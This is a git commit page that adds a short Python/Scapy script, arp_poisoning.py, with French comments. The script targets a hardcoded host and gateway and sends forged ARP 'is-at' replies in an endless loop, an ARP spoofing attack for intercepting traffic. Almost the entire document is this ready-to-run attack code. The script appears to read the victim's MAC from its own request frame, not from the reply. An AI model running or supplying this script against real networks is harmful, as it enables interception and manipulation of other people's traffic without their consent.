diff options
| author | jerome <jerome@xlinfo.fr> | 2025-06-20 14:17:15 +0200 |
|---|---|---|
| committer | jerome <jerome@xlinfo.fr> | 2025-06-20 14:17:15 +0200 |
| commit | 34b5518fa596845b557639fea86a3b59cdff5d2d (patch) | |
| tree | 0e6e2dd994eb7c4995848d448009a3a1a1e9541b /scapy/arp_poisoning.py | |
| parent | ae8ae69ce17974dc7a1d26ca02d7c0ba1f7f2515 (diff) | |
| download | python-34b5518fa596845b557639fea86a3b59cdff5d2d.tar.gz python-34b5518fa596845b557639fea86a3b59cdff5d2d.zip | |
scapy
Diffstat (limited to 'scapy/arp_poisoning.py')
| -rw-r--r-- | scapy/arp_poisoning.py | 22 |
1 files changed, 22 insertions, 0 deletions
diff --git a/scapy/arp_poisoning.py b/scapy/arp_poisoning.py new file mode 100644 index 0000000..4819704 --- /dev/null +++ b/scapy/arp_poisoning.py @@ -0,0 +1,22 @@ +#!/usr/bin/env python + +from scapy.all import * + +# example: +ip="192.168.2.104" +ip_gateway="192.168.2.254" + +def arp_poison(ip,ip_gateway): + matrame = Ether()/ARP(pdst=ip) + srp(matrame,timeout=2,verbose=0) + victime_arp = matrame[Ether].dst + packet=Ether(dst=victime_arp)/ARP(op="is-at", psrc=ip_gateway) + print("Ctrl-C pour arrĂȘter l'attaque !") + sendp(packet,inter=2, loop=1) + +try: + arp_poison(ip,ip_gateway) +except PermissionError: + print(f"{sys.argv[0]} nĂ©cessite les droits root") + + |
